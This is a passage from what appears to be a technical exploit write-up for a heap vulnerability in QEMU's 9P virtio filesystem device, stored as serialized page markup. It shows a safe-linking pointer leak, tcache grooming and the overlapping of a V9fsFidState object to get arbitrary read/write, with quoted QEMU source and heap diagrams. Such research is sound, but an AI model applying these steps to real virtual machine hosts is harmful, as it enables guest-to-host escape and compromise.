forward pointer becomes:",{"type":23,"tag":494,"props":128156,"children":128157},{"code":128029},[128158],{"type":23,"tag":56,"props":128159,"children":128160},{"__ignoreMap":7},[128161],{"type":28,"value":128029},{"type":23,"tag":24,"props":128163,"children":128164},{},[128165,128167,128173,128175,128180,128182,128187,128189,128194],{"type":28,"value":128166},"Since we already know ",{"type":23,"tag":56,"props":128168,"children":128170},{"className":128169},[],[128171],{"type":28,"value":128172},"curr >> 12",{"type":28,"value":128174}," from the first leak, we can read the new ",{"type":23,"tag":56,"props":128176,"children":128178},{"className":128177},[],[128179],{"type":28,"value":128024},{"type":28,"value":128181}," value from ",{"type":23,"tag":56,"props":128183,"children":128185},{"className":128184},[],[128186],{"type":28,"value":128096},{"type":28,"value":128188}," and recover the exact address of ",{"type":23,"tag":56,"props":128190,"children":128192},{"className":128191},[],[128193],{"type":28,"value":56544},{"type":28,"value":128195}," by reversing the XOR:",{"type":23,"tag":494,"props":128197,"children":128199},{"code":128198},"next = fd ^ (curr >> 12)\n",[128200],{"type":23,"tag":56,"props":128201,"children":128202},{"__ignoreMap":7},[128203],{"type":28,"value":128198},{"type":23,"tag":24,"props":128205,"children":128206},{},[128207],{"type":28,"value":128208},"This gives us the exact address of a heap chunk whose contents we control.",{"type":23,"tag":82,"props":128210,"children":128212},{"id":128211},"arbitrary-read-and-write",[128213],{"type":28,"value":128214},"Arbitrary Read and Write",{"type":23,"tag":24,"props":128216,"children":128217},{},[128218,128220,128225],{"type":28,"value":128219},"Having a controlled chunk at a known address lets us repurpose ",{"type":23,"tag":56,"props":128221,"children":128223},{"className":128222},[],[128224],{"type":28,"value":128096},{"type":28,"value":128226}," into an arbitrary read/write primitive. To do that, we go back to the 9P device.",{"type":23,"tag":24,"props":128228,"children":128229},{},[128230,128232,128237],{"type":28,"value":128231},"Recall ",{"type":23,"tag":56,"props":128233,"children":128235},{"className":128234},[],[128236],{"type":28,"value":126700},{"type":28,"value":3472},{"type":23,"tag":494,"props":128239,"children":128241},{"code":128240,"language":2124,"meta":7,"className":15493,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n    uint64_t size;\n    V9fsFidState *file_fidp;\n    V9fsFidState *xattr_fidp;\n\n    [...]\n\n    file_fidp = get_fid(pdu, fid);\n\n    [...]\n\n    /* Make the file fid point to xattr */\n    xattr_fidp = file_fidp;\n    xattr_fidp->fs.xattr.len = size;\n    xattr_fidp->fs.xattr.value = g_malloc0(size);\n\n    [...]\n",[128242],{"type":23,"tag":56,"props":128243,"children":128244},{"__ignoreMap":7},[128245,128284,128291,128302,128317,128332,128339,128346,128353,128375,128382,128389,128396,128404,128421,128460,128503,128510],{"type":23,"tag":504,"props":128246,"children":128247},{"class":506,"line":507},[128248,128252,128256,128260,128264,128268,128272,128276,128280],{"type":23,"tag":504,"props":128249,"children":128250},{"style":511},[128251],{"type":28,"value":50023},{"type":23,"tag":504,"props":128253,"children":128254},{"style":511},[128255],{"type":28,"value":50028},{"type":23,"tag":504,"props":128257,"children":128258},{"style":523},[128259],{"type":28,"value":126695},{"type":23,"tag":504,"props":128261,"children":128262},{"style":517},[128263],{"type":28,"value":126700},{"type":23,"tag":504,"props":128265,"children":128266},{"style":523},[128267],{"type":28,"value":526},{"type":23,"tag":504,"props":128269,"children":128270},{"style":511},[128271],{"type":28,"value":50605},{"type":23,"tag":504,"props":128273,"children":128274},{"style":598},[128275],{"type":28,"value":8797},{"type":23,"tag":504,"props":128277,"children":128278},{"style":529},[128279],{"type":28,"value":126717},{"type":23,"tag":504,"props":128281,"children":128282},{"style":523},[128283],{"type":28,"value":1192},{"type":23,"tag":504,"props":128285,"children":128286},{"class":506,"line":540},[128287],{"type":23,"tag":504,"props":128288,"children":128289},{"style":523},[128290],{"type":28,"value":9862},{"type":23,"tag":504,"props":128292,"children":128293},{"class":506,"line":555},[128294,128298],{"type":23,"tag":504,"props":128295,"children":128296},{"style":511},[128297],{"type":28,"value":54591},{"type":23,"tag":504,"props":128299,"children":128300},{"style":523},[128301],{"type":28,"value":123353},{"type":23,"tag":504,"props":128303,"children":128304},{"class":506,"line":633},[128305,128309,128313],{"type":23,"tag":504,"props":128306,"children":128307},{"style":523},[128308],{"type":28,"value":126842},{"type":23,"tag":504,"props":128310,"children":128311},{"style":598},[128312],{"type":28,"value":3552},{"type":23,"tag":504,"props":128314,"children":128315},{"style":523},[128316],{"type":28,"value":126851},{"type":23,"tag":504,"props":128318,"children":128319},{"class":506,"line":687},[128320,128324,128328],{"type":23,"tag":504,"props":128321,"children":128322},{"style":523},[128323],{"type":28,"value":126842},{"type":23,"tag":504,"props":128325,"children":128326},{"style":598},[128327],{"type":28,"value":3552},{"type":23,"tag":504,"props":128329,"children":128330},{"style":523},[128331],{"type":28,"value":126867},{"type":23,"tag":504,"props":128333,"children":128334},{"class":506,"line":736},[128335],{"type":23,"tag":504,"props":128336,"children":128337},{"emptyLinePlaceholder":16},[128338],{"type":28,"value":1038},{"type":23,"tag":504,"props":128340,"children":128341},{"class":506,"line":785},[128342],{"type":23,"tag":504,"props":128343,"children":128344},{"style":523},[128345],{"type":28,"value":103552},{"type":23,"tag":504,"props":128347,"children":128348},{"class":506,"line":813},[128349],{"type":23,"tag":504,"props":128350,"children":128351},{"emptyLinePlaceholder":16},[128352],{"type":28,"value":1038},{"type":23,"tag":504,"props":128354,"children":128355},{"class":506,"line":851},[128356,128361,128365,128370],{"type":23,"tag":504,"props":128357,"children":128358},{"style":523},[128359],{"type":28,"value":128360},"    file_fidp ",{"type":23,"tag":504,"props":128362,"children":128363},{"style":598},[128364],{"type":28,"value":601},{"type":23,"tag":504,"props":128366,"children":128367},{"style":517},[128368],{"type":28,"value":128369}," get_fid",{"type":23,"tag":504,"props":128371,"children":128372},{"style":523},[128373],{"type":28,"value":128374},"(pdu, fid);\n",{"type":23,"tag":504,"props":128376,"children":128377},{"class":506,"line":869},[128378],{"type":23,"tag":504,"props":128379,"children":128380},{"emptyLinePlaceholder":16},[128381],{"type":28,"value":1038},{"type":23,"tag":504,"props":128383,"children":128384},{"class":506,"line":878},[128385],{"type":23,"tag":504,"props":128386,"children":128387},{"style":523},[128388],{"type":28,"value":103552},{"type":23,"tag":504,"props":128390,"children":128391},{"class":506,"line":1221},[128392],{"type":23,"tag":504,"props":128393,"children":128394},{"emptyLinePlaceholder":16},[128395],{"type":28,"value":1038},{"type":23,"tag":504,"props":128397,"children":128398},{"class":506,"line":1276},[128399],{"type":23,"tag":504,"props":128400,"children":128401},{"style":1106},[128402],{"type":28,"value":128403},"    /* Make the file fid point to xattr */\n",{"type":23,"tag":504,"props":128405,"children":128406},{"class":506,"line":1285},[128407,128412,128416],{"type":23,"tag":504,"props":128408,"children":128409},{"style":523},[128410],{"type":28,"value":128411},"    xattr_fidp ",{"type":23,"tag":504,"props":128413,"children":128414},{"style":598},[128415],{"type":28,"value":601},{"type":23,"tag":504,"props":128417,"children":128418},{"style":523},[128419],{"type":28,"value":128420}," file_fidp;\n",{"type":23,"tag":504,"props":128422,"children":128423},{"class":506,"line":1294},[128424,128428,128432,128436,128440,128444,128448,128452,128456],{"type":23,"tag":504,"props":128425,"children":128426},{"style":529},[128427],{"type":28,"value":127245},{"type":23,"tag":504,"props":128429,"children":128430},{"style":523},[128431],{"type":28,"value":12738},{"type":23,"tag":504,"props":128433,"children":128434},{"style":529},[128435],{"type":28,"value":35959},{"type":23,"tag":504,"props":128437,"children":128438},{"style":523},[128439],{"type":28,"value":320},{"type":23,"tag":504,"props":128441,"children":128442},{"style":529},[128443],{"type":28,"value":127169},{"type":23,"tag":504,"props":128445,"children":128446},{"style":523},[128447],{"type":28,"value":320},{"type":23,"tag":504,"props":128449,"children":128450},{"style":529},[128451],{"type":28,"value":8121},{"type":23,"tag":504,"props":128453,"children":128454},{"style":598},[128455],{"type":28,"value":648},{"type":23,"tag":504,"props":128457,"children":128458},{"style":523},[128459],{"type":28,"value":123353},{"type":23,"tag":504,"props":128461,"children":128462},{"class":506,"line":1302},[128463,128467,128471,128475,128479,128483,128487,128491,128495,128499],{"type":23,"tag":504,"props":128464,"children":128465},{"style":529},[128466],{"type":28,"value":127245},{"type":23,"tag":504,"props":128468,"children":128469},{"style":523},[128470],{"type":28,"value":12738},{"type":23,"tag":504,"props":128472,"children":128473},{"style":529},[128474],{"type":28,"value":35959},{"type":23,"tag":504,"props":128476,"children":128477},{"style":523},[128478],{"type":28,"value":320},{"type":23,"tag":504,"props":128480,"children":128481},{"style":529},[128482],{"type":28,"value":127169},{"type":23,"tag":504,"props":128484,"children":128485},{"style":523},[128486],{"type":28,"value":320},{"type":23,"tag":504,"props":128488,"children":128489},{"style":529},[128490],{"type":28,"value":38128},{"type":23,"tag":504,"props":128492,"children":128493},{"style":598},[128494],{"type":28,"value":648},{"type":23,"tag":504,"props":128496,"children":128497},{"style":517},[128498],{"type":28,"value":122924},{"type":23,"tag":504,"props":128500,"children":128501},{"style":523},[128502],{"type":28,"value":127282},{"type":23,"tag":504,"props":128504,"children":128505},{"class":506,"line":1311},[128506],{"type":23,"tag":504,"props":128507,"children":128508},{"emptyLinePlaceholder":16},[128509],{"type":28,"value":1038},{"type":23,"tag":504,"props":128511,"children":128512},{"class":506,"line":1334},[128513],{"type":23,"tag":504,"props":128514,"children":128515},{"style":523},[128516],{"type":28,"value":103552},{"type":23,"tag":24,"props":128518,"children":128519},{},[128520,128522,128528,128530,128535,128536,128541,128543,128548,128550,128556,128557,128563,128565,128570,128571,128576],{"type":28,"value":128521},"The important detail here is that an xattr FID stores both the backing pointer and its length inside the surrounding ",{"type":23,"tag":56,"props":128523,"children":128525},{"className":128524},[],[128526],{"type":28,"value":128527},"V9fsFidState",{"type":28,"value":128529}," object. In other words, if we can place a ",{"type":23,"tag":56,"props":128531,"children":128533},{"className":128532},[],[128534],{"type":28,"value":128527},{"type":28,"value":6305},{"type":23,"tag":56,"props":128537,"children":128539},{"className":128538},[],[128540],{"type":28,"value":128096},{"type":28,"value":128542}," currently sits, the overlapping ",{"type":23,"tag":56,"props":128544,"children":128546},{"className":128545},[],[128547],{"type":28,"value":128104},{"type":28,"value":128549}," chunk can overwrite ",{"type":23,"tag":56,"props":128551,"children":128553},{"className":128552},[],[128554],{"type":28,"value":128555},"V9fsFidState.fs.xattr.value",{"type":28,"value":430},{"type":23,"tag":56,"props":128558,"children":128560},{"className":128559},[],[128561],{"type":28,"value":128562},"V9fsFidState.fs.xattr.len",{"type":28,"value":128564},". That would immediately give us arbitrary read and write through ",{"type":23,"tag":56,"props":128566,"children":128568},{"className":128567},[],[128569],{"type":28,"value":127358},{"type":28,"value":430},{"type":23,"tag":56,"props":128572,"children":128574},{"className":128573},[],[128575],{"type":28,"value":127350},{"type":28,"value":320},{"type":23,"tag":24,"props":128578,"children":128579},{},[128580,128582,128587,128588,128593,128595,128600,128602,128608,128610,128615,128617,128622,128624,128629,128631,128636,128638,128643],{"type":28,"value":128581},"At this point, ",{"type":23,"tag":56,"props":128583,"children":128585},{"className":128584},[],[128586],{"type":28,"value":128096},{"type":28,"value":14424},{"type":23,"tag":56,"props":128589,"children":128591},{"className":128590},[],[128592],{"type":28,"value":126565},{"type":28,"value":128594}," chunk, while ",{"type":23,"tag":56,"props":128596,"children":128598},{"className":128597},[],[128599],{"type":28,"value":128527},{"type":28,"value":128601}," falls into the ",{"type":23,"tag":56,"props":128603,"children":128605},{"className":128604},[],[128606],{"type":28,"value":128607},"0x120",{"type":28,"value":128609}," size class. Before freeing ",{"type":23,"tag":56,"props":128611,"children":128613},{"className":128612},[],[128614],{"type":28,"value":128096},{"type":28,"value":128616},", we therefore use the oversized ",{"type":23,"tag":56,"props":128618,"children":128620},{"className":128619},[],[128621],{"type":28,"value":128104},{"type":28,"value":128623}," chunk to change its size to match ",{"type":23,"tag":56,"props":128625,"children":128627},{"className":128626},[],[128628],{"type":28,"value":128527},{"type":28,"value":128630},". Once ",{"type":23,"tag":56,"props":128632,"children":128634},{"className":128633},[],[128635],{"type":28,"value":128096},{"type":28,"value":128637}," is freed, it is inserted into the ",{"type":23,"tag":56,"props":128639,"children":128641},{"className":128640},[],[128642],{"type":28,"value":128607},{"type":28,"value":128644}," tcache bin.",{"type":23,"tag":494,"props":128646,"children":128648},{"code":128647},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                          Free           |\nv                          0x120          v\n+--------------------+---------------+----+\n|                    |...............|    |\n|      .value Y      |...............|    |\n|                    |...............|    |\n+--------------------+---------------+----+\n",[128649],{"type":23,"tag":56,"props":128650,"children":128651},{"__ignoreMap":7},[128652],{"type":28,"value":128647},{"type":23,"tag":24,"props":128654,"children":128655},{},[128656,128658,128663,128665,128671,128673,128679,128681,128686],{"type":28,"value":128657},"After that, we can simply allocate a new ",{"type":23,"tag":56,"props":128659,"children":128661},{"className":128660},[],[128662],{"type":28,"value":128527},{"type":28,"value":128664}," with a ",{"type":23,"tag":56,"props":128666,"children":128668},{"className":128667},[],[128669],{"type":28,"value":128670},"P9_TWALK",{"type":28,"value":128672}," request and a fresh FID - this reaches ",{"type":23,"tag":56,"props":128674,"children":128676},{"className":128675},[],[128677],{"type":28,"value":128678},"alloc_fid",{"type":28,"value":128680},", which allocates a new ",{"type":23,"tag":56,"props":128682,"children":128684},{"className":128683},[],[128685],{"type":28,"value":128527},{"type":28,"value":3472},{"type":23,"tag":494,"props":128688,"children":128690},{"code":128689,"language":2124,"meta":7,"className":15493,"style":7},"static void coroutine_fn v9fs_walk(void *opaque)\n{\n    V9fsFidState *fidp;\n    V9fsFidState *newfidp = NULL;\n\n    [...]\n\n    if (fid == newfid) {\n        [...]\n    } else {\n        newfidp = alloc_fid(s, newfid);\n        if (newfidp == NULL) {\n            err = -EINVAL;\n            goto out;\n        }\n        newfidp->uid = fidp->uid;\n        v9fs_path_copy(&newfidp->path, &path);\n    }\n\n    [...]\n}\n\nstatic V9fsFidState *alloc_fid(V9fsState *s, int32_t fid)\n{\n    V9fsFidState *f;\n\n    f = g_hash_table_lookup(s->fids, GINT_TO_POINTER(fid));\n    if (f) {\n        /* If fid is already there return NULL */\n        BUG_ON(f->clunked);\n        return NULL;\n    }\n    f = g_new0(V9fsFidState, 1);\n\n    [...]\n",[128691],{"type":23,"tag":56,"props":128692,"children":128693},{"__ignoreMap":7},[128694,128734,128741,128757,128785,128792,128799,128806,128827,128834,128849,128871,128895,128916,128927,128934,128972,129014,129021,129028,129035,129042,129049,129100,129107,129122,129129,129177,129189,129197,129226,129241,129248,129277,129284],{"type":23,"tag":504,"props":128695,"children":128696},{"class":506,"line":507},[128697,128701,128705,128709,128714,128718,128722,128726,128730],{"type":23,"tag":504,"props":128698,"children":128699},{"style":511},[128700],{"type":28,"value":50023},{"type":23,"tag":504,"props":128702,"children":128703},{"style":511},[128704],{"type":28,"value":50028},{"type":23,"tag":504,"props":128706,"children":128707},{"style":523},[128708],{"type":28,"value":126695},{"type":23,"tag":504,"props":128710,"children":128711},{"style":517},[128712],{"type":28,"value":128713},"v9fs_walk",{"type":23,"tag":504,"props":128715,"children":128716},{"style":523},[128717],{"type":28,"value":526},{"type":23,"tag":504,"props":128719,"children":128720},{"style":511},[128721],{"type":28,"value":50605},{"type":23,"tag":504,"props":128723,"children":128724},{"style":598},[128725],{"type":28,"value":8797},{"type":23,"tag":504,"props":128727,"children":128728},{"style":529},[128729],{"type":28,"value":126717},{"type":23,"tag":504,"props":128731,"children":128732},{"style":523},[128733],{"type":28,"value":1192},{"type":23,"tag":504,"props":128735,"children":128736},{"class":506,"line":540},[128737],{"type":23,"tag":504,"props":128738,"children":128739},{"style":523},[128740],{"type":28,"value":9862},{"type":23,"tag":504,"props":128742,"children":128743},{"class":506,"line":555},[128744,128748,128752],{"type":23,"tag":504,"props":128745,"children":128746},{"style":523},[128747],{"type":28,"value":126842},{"type":23,"tag":504,"props":128749,"children":128750},{"style":598},[128751],{"type":28,"value":3552},{"type":23,"tag":504,"props":128753,"children":128754},{"style":523},[128755],{"type":28,"value":128756},"fidp;\n",{"type":23,"tag":504,"props":128758,"children":128759},{"class":506,"line":633},[128760,128764,128768,128773,128777,128781],{"type":23,"tag":504,"props":128761,"children":128762},{"style":523},[128763],{"type":28,"value":126842},{"type":23,"tag":504,"props":128765,"children":128766},{"style":598},[128767],{"type":28,"value":3552},{"type":23,"tag":504,"props":128769,"children":128770},{"style":523},[128771],{"type":28,"value":128772},"newfidp ",{"type":23,"tag":504,"props":128774,"children":128775},{"style":598},[128776],{"type":28,"value":601},{"type":23,"tag":504,"props":128778,"children":128779},{"style":511},[128780],{"type":28,"value":126521},{"type":23,"tag":504,"props":128782,"children":128783},{"style":523},[128784],{"type":28,"value":866},{"type":23,"tag":504,"props":128786,"children":128787},{"class":506,"line":687},[128788],{"type":23,"tag":504,"props":128789,"children":128790},{"emptyLinePlaceholder":16},[128791],{"type":28,"value":1038},{"type":23,"tag":504,"props":128793,"children":128794},{"class":506,"line":736},[128795],{"type":23,"tag":504,"props":128796,"children":128797},{"style":523},[128798],{"type":28,"value":103552},{"type":23,"tag":504,"props":128800,"children":128801},{"class":506,"line":785},[128802],{"type":23,"tag":504,"props":128803,"children":128804},{"emptyLinePlaceholder":16},[128805],{"type":28,"value":1038},{"type":23,"tag":504,"props":128807,"children":128808},{"class":506,"line":813},[128809,128813,128818,128822],{"type":23,"tag":504,"props":128810,"children":128811},{"style":544},[128812],{"type":28,"value":11261},{"type":23,"tag":504,"props":128814,"children":128815},{"style":523},[128816],{"type":28,"value":128817}," (fid ",{"type":23,"tag":504,"props":128819,"children":128820},{"style":598},[128821],{"type":28,"value":7559},{"type":23,"tag":504,"props":128823,"children":128824},{"style":523},[128825],{"type":28,"value":128826}," newfid) {\n",{"type":23,"tag":504,"props":128828,"children":128829},{"class":506,"line":851},[128830],{"type":23,"tag":504,"props":128831,"children":128832},{"style":523},[128833],{"type":28,"value":122790},{"type":23,"tag":504,"props":128835,"children":128836},{"class":506,"line":869},[128837,128841,128845],{"type":23,"tag":504,"props":128838,"children":128839},{"style":523},[128840],{"type":28,"value":791},{"type":23,"tag":504,"props":128842,"children":128843},{"style":544},[128844],{"type":28,"value":2293},{"type":23,"tag":504,"props":128846,"children":128847},{"style":523},[128848],{"type":28,"value":552},{"type":23,"tag":504,"props":128850,"children":128851},{"class":506,"line":878},[128852,128857,128861,128866],{"type":23,"tag":504,"props":128853,"children":128854},{"style":523},[128855],{"type":28,"value":128856},"        newfidp ",{"type":23,"tag":504,"props":128858,"children":128859},{"style":598},[128860],{"type":28,"value":601},{"type":23,"tag":504,"props":128862,"children":128863},{"style":517},[128864],{"type":28,"value":128865}," alloc_fid",{"type":23,"tag":504,"props":128867,"children":128868},{"style":523},[128869],{"type":28,"value":128870},"(s, newfid);\n",{"type":23,"tag":504,"props":128872,"children":128873},{"class":506,"line":1221},[128874,128878,128883,128887,128891],{"type":23,"tag":504,"props":128875,"children":128876},{"style":544},[128877],{"type":28,"value":2250},{"type":23,"tag":504,"props":128879,"children":128880},{"style":523},[128881],{"type":28,"value":128882}," (newfidp ",{"type":23,"tag":504,"props":128884,"children":128885},{"style":598},[128886],{"type":28,"value":7559},{"type":23,"tag":504,"props":128888,"children":128889},{"style":511},[128890],{"type":28,"value":126521},{"type":23,"tag":504,"props":128892,"children":128893},{"style":523},[128894],{"type":28,"value":537},{"type":23,"tag":504,"props":128896,"children":128897},{"class":506,"line":1276},[128898,128903,128907,128911],{"type":23,"tag":504,"props":128899,"children":128900},{"style":523},[128901],{"type":28,"value":128902},"            err ",{"type":23,"tag":504,"props":128904,"children":128905},{"style":598},[128906],{"type":28,"value":601},{"type":23,"tag":504,"props":128908,"children":128909},{"style":598},[128910],{"type":28,"value":50234},{"type":23,"tag":504,"props":128912,"children":128913},{"style":523},[128914],{"type":28,"value":128915},"EINVAL;\n",{"type":23,"tag":504,"props":128917,"children":128918},{"class":506,"line":1285},[128919,128923],{"type":23,"tag":504,"props":128920,"children":128921},{"style":544},[128922],{"type":28,"value":59528},{"type":23,"tag":504,"props":128924,"children":128925},{"style":523},[128926],{"type":28,"value":59533},{"type":23,"tag":504,"props":128928,"children":128929},{"class":506,"line":1294},[128930],{"type":23,"tag":504,"props":128931,"children":128932},{"style":523},[128933],{"type":28,"value":1291},{"type":23,"tag":504,"props":128935,"children":128936},{"class":506,"line":1302},[128937,128942,128946,128951,128955,128960,128964,128968],{"type":23,"tag":504,"props":128938,"children":128939},{"style":529},[128940],{"type":28,"value":128941},"        newfidp",{"type":23,"tag":504,"props":128943,"children":128944},{"style":523},[128945],{"type":28,"value":12738},{"type":23,"tag":504,"props":128947,"children":128948},{"style":529},[128949],{"type":28,"value":128950},"uid",{"type":23,"tag":504,"props":128952,"children":128953},{"style":598},[128954],{"type":28,"value":648},{"type":23,"tag":504,"props":128956,"children":128957},{"style":529},[128958],{"type":28,"value":128959}," fidp",{"type":23,"tag":504,"props":128961,"children":128962},{"style":523},[128963],{"type":28,"value":12738},{"type":23,"tag":504,"props":128965,"children":128966},{"style":529},[128967],{"type":28,"value":128950},{"type":23,"tag":504,"props":128969,"children":128970},{"style":523},[128971],{"type":28,"value":866},{"type":23,"tag":504,"props":128973,"children":128974},{"class":506,"line":1311},[128975,128980,128984,128988,128993,128997,129001,129005,129009],{"type":23,"tag":504,"props":128976,"children":128977},{"style":517},[128978],{"type":28,"value":128979},"        v9fs_path_copy",{"type":23,"tag":504,"props":128981,"children":128982},{"style":523},[128983],{"type":28,"value":526},{"type":23,"tag":504,"props":128985,"children":128986},{"style":598},[128987],{"type":28,"value":2086},{"type":23,"tag":504,"props":128989,"children":128990},{"style":529},[128991],{"type":28,"value":128992},"newfidp",{"type":23,"tag":504,"props":128994,"children":128995},{"style":523},[128996],{"type":28,"value":12738},{"type":23,"tag":504,"props":128998,"children":128999},{"style":529},[129000],{"type":28,"value":111075},{"type":23,"tag":504,"props":129002,"children":129003},{"style":523},[129004],{"type":28,"value":576},{"type":23,"tag":504,"props":129006,"children":129007},{"style":598},[129008],{"type":28,"value":2086},{"type":23,"tag":504,"props":129010,"children":129011},{"style":523},[129012],{"type":28,"value":129013},"path);\n",{"type":23,"tag":504,"props":129015,"children":129016},{"class":506,"line":1334},[129017],{"type":23,"tag":504,"props":129018,"children":129019},{"style":523},[129020],{"type":28,"value":875},{"type":23,"tag":504,"props":129022,"children":129023},{"class":506,"line":1370},[129024],{"type":23,"tag":504,"props":129025,"children":129026},{"emptyLinePlaceholder":16},[129027],{"type":28,"value":1038},{"type":23,"tag":504,"props":129029,"children":129030},{"class":506,"line":1384},[129031],{"type":23,"tag":504,"props":129032,"children":129033},{"style":523},[129034],{"type":28,"value":103552},{"type":23,"tag":504,"props":129036,"children":129037},{"class":506,"line":1392},[129038],{"type":23,"tag":504,"props":129039,"children":129040},{"style":523},[129041],{"type":28,"value":884},{"type":23,"tag":504,"props":129043,"children":129044},{"class":506,"line":1400},[129045],{"type":23,"tag":504,"props":129046,"children":129047},{"emptyLinePlaceholder":16},[129048],{"type":28,"value":1038},{"type":23,"tag":504,"props":129050,"children":129051},{"class":506,"line":1422},[129052,129056,129061,129065,129069,129074,129078,129082,129086,129091,129096],{"type":23,"tag":504,"props":129053,"children":129054},{"style":511},[129055],{"type":28,"value":50023},{"type":23,"tag":504,"props":129057,"children":129058},{"style":523},[129059],{"type":28,"value":129060}," V9fsFidState ",{"type":23,"tag":504,"props":129062,"children":129063},{"style":598},[129064],{"type":28,"value":3552},{"type":23,"tag":504,"props":129066,"children":129067},{"style":517},[129068],{"type":28,"value":128678},{"type":23,"tag":504,"props":129070,"children":129071},{"style":523},[129072],{"type":28,"value":129073},"(V9fsState ",{"type":23,"tag":504,"props":129075,"children":129076},{"style":598},[129077],{"type":28,"value":3552},{"type":23,"tag":504,"props":129079,"children":129080},{"style":529},[129081],{"type":28,"value":9633},{"type":23,"tag":504,"props":129083,"children":129084},{"style":523},[129085],{"type":28,"value":576},{"type":23,"tag":504,"props":129087,"children":129088},{"style":511},[129089],{"type":28,"value":129090},"int32_t",{"type":23,"tag":504,"props":129092,"children":129093},{"style":529},[129094],{"type":28,"value":129095}," fid",{"type":23,"tag":504,"props":129097,"children":129098},{"style":523},[129099],{"type":28,"value":1192},{"type":23,"tag":504,"props":129101,"children":129102},{"class":506,"line":1450},[129103],{"type":23,"tag":504,"props":129104,"children":129105},{"style":523},[129106],{"type":28,"value":9862},{"type":23,"tag":504,"props":129108,"children":129109},{"class":506,"line":1463},[129110,129114,129118],{"type":23,"tag":504,"props":129111,"children":129112},{"style":523},[129113],{"type":28,"value":126842},{"type":23,"tag":504,"props":129115,"children":129116},{"style":598},[129117],{"type":28,"value":3552},{"type":23,"tag":504,"props":129119,"children":129120},{"style":523},[129121],{"type":28,"value":50144},{"type":23,"tag":504,"props":129123,"children":129124},{"class":506,"line":1485},[129125],{"type":23,"tag":504,"props":129126,"children":129127},{"emptyLinePlaceholder":16},[129128],{"type":28,"value":1038},{"type":23,"tag":504,"props":129130,"children":129131},{"class":506,"line":1503},[129132,129137,129141,129146,129150,129154,129158,129163,129167,129172],{"type":23,"tag":504,"props":129133,"children":129134},{"style":523},[129135],{"type":28,"value":129136},"    f ",{"type":23,"tag":504,"props":129138,"children":129139},{"style":598},[129140],{"type":28,"value":601},{"type":23,"tag":504,"props":129142,"children":129143},{"style":517},[129144],{"type":28,"value":129145}," g_hash_table_lookup",{"type":23,"tag":504,"props":129147,"children":129148},{"style":523},[129149],{"type":28,"value":526},{"type":23,"tag":504,"props":129151,"children":129152},{"style":529},[129153],{"type":28,"value":9633},{"type":23,"tag":504,"props":129155,"children":129156},{"style":523},[129157],{"type":28,"value":12738},{"type":23,"tag":504,"props":129159,"children":129160},{"style":529},[129161],{"type":28,"value":129162},"fids",{"type":23,"tag":504,"props":129164,"children":129165},{"style":523},[129166],{"type":28,"value":576},{"type":23,"tag":504,"props":129168,"children":129169},{"style":517},[129170],{"type":28,"value":129171},"GINT_TO_POINTER",{"type":23,"tag":504,"props":129173,"children":129174},{"style":523},[129175],{"type":28,"value":129176},"(fid));\n",{"type":23,"tag":504,"props":129178,"children":129179},{"class":506,"line":1516},[129180,129184],{"type":23,"tag":504,"props":129181,"children":129182},{"style":544},[129183],{"type":28,"value":11261},{"type":23,"tag":504,"props":129185,"children":129186},{"style":523},[129187],{"type":28,"value":129188}," (f) {\n",{"type":23,"tag":504,"props":129190,"children":129191},{"class":506,"line":1543},[129192],{"type":23,"tag":504,"props":129193,"children":129194},{"style":1106},[129195],{"type":28,"value":129196},"        /* If fid is already there return NULL */\n",{"type":23,"tag":504,"props":129198,"children":129199},{"class":506,"line":1583},[129200,129205,129209,129213,129217,129222],{"type":23,"tag":504,"props":129201,"children":129202},{"style":517},[129203],{"type":28,"value":129204},"        BUG_ON",{"type":23,"tag":504,"props":129206,"children":129207},{"style":523},[129208],{"type":28,"value":526},{"type":23,"tag":504,"props":129210,"children":129211},{"style":529},[129212],{"type":28,"value":32062},{"type":23,"tag":504,"props":129214,"children":129215},{"style":523},[129216],{"type":28,"value":12738},{"type":23,"tag":504,"props":129218,"children":129219},{"style":529},[129220],{"type":28,"value":129221},"clunked",{"type":23,"tag":504,"props":129223,"children":129224},{"style":523},[129225],{"type":28,"value":630},{"type":23,"tag":504,"props":129227,"children":129228},{"class":506,"line":1605},[129229,129233,129237],{"type":23,"tag":504,"props":129230,"children":129231},{"style":544},[129232],{"type":28,"value":742},{"type":23,"tag":504,"props":129234,"children":129235},{"style":511},[129236],{"type":28,"value":126521},{"type":23,"tag":504,"props":129238,"children":129239},{"style":523},[129240],{"type":28,"value":866},{"type":23,"tag":504,"props":129242,"children":129243},{"class":506,"line":1614},[129244],{"type":23,"tag":504,"props":129245,"children":129246},{"style":523},[129247],{"type":28,"value":875},{"type":23,"tag":504,"props":129249,"children":129250},{"class":506,"line":1627},[129251,129255,129259,129264,129269,129273],{"type":23,"tag":504,"props":129252,"children":129253},{"style":523},[129254],{"type":28,"value":129136},{"type":23,"tag":504,"props":129256,"children":129257},{"style":598},[129258],{"type":28,"value":601},{"type":23,"tag":504,"props":129260,"children":129261},{"style":517},[129262],{"type":28,"value":129263}," g_new0",{"type":23,"tag":504,"props":129265,"children":129266},{"style":523},[129267],{"type":28,"value":129268},"(V9fsFidState, ",{"type":23,"tag":504,"props":129270,"children":129271},{"style":1440},[129272],{"type":28,"value":2991},{"type":23,"tag":504,"props":129274,"children":129275},{"style":523},[129276],{"type":28,"value":630},{"type":23,"tag":504,"props":129278,"children":129279},{"class":506,"line":1655},[129280],{"type":23,"tag":504,"props":129281,"children":129282},{"emptyLinePlaceholder":16},[129283],{"type":28,"value":1038},{"type":23,"tag":504,"props":129285,"children":129286},{"class":506,"line":1668},[129287],{"type":23,"tag":504,"props":129288,"children":129289},{"style":523},[129290],{"type":28,"value":103552},{"type":23,"tag":24,"props":129292,"children":129293},{},[129294,129296,129301],{"type":28,"value":129295},"After it is allocated, it will be placed into that freed region in place of the old ",{"type":23,"tag":56,"props":129297,"children":129299},{"className":129298},[],[129300],{"type":28,"value":128096},{"type":28,"value":127433},{"type":23,"tag":494,"props":129303,"children":129305},{"code":129304},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                                         |\nv                                         v\n+--------------------+---------------+----+\n|                    |               |....|\n|      .value Y      |  V9fsFidState |....|\n|                    |               |....|\n+--------------------+---------------+----+\n",[129306],{"type":23,"tag":56,"props":129307,"children":129308},{"__ignoreMap":7},[129309],{"type":28,"value":129304},{"type":23,"tag":17874,"props":129311,"children":129313},{"id":129312},"leaking-a-qemu-address",[129314],{"type":28,"value":129315},"Leaking a QEMU Address",{"type":23,"tag":24,"props":129317,"children":129318},{},[129319],{"type":28,"value":129320},"We now have an 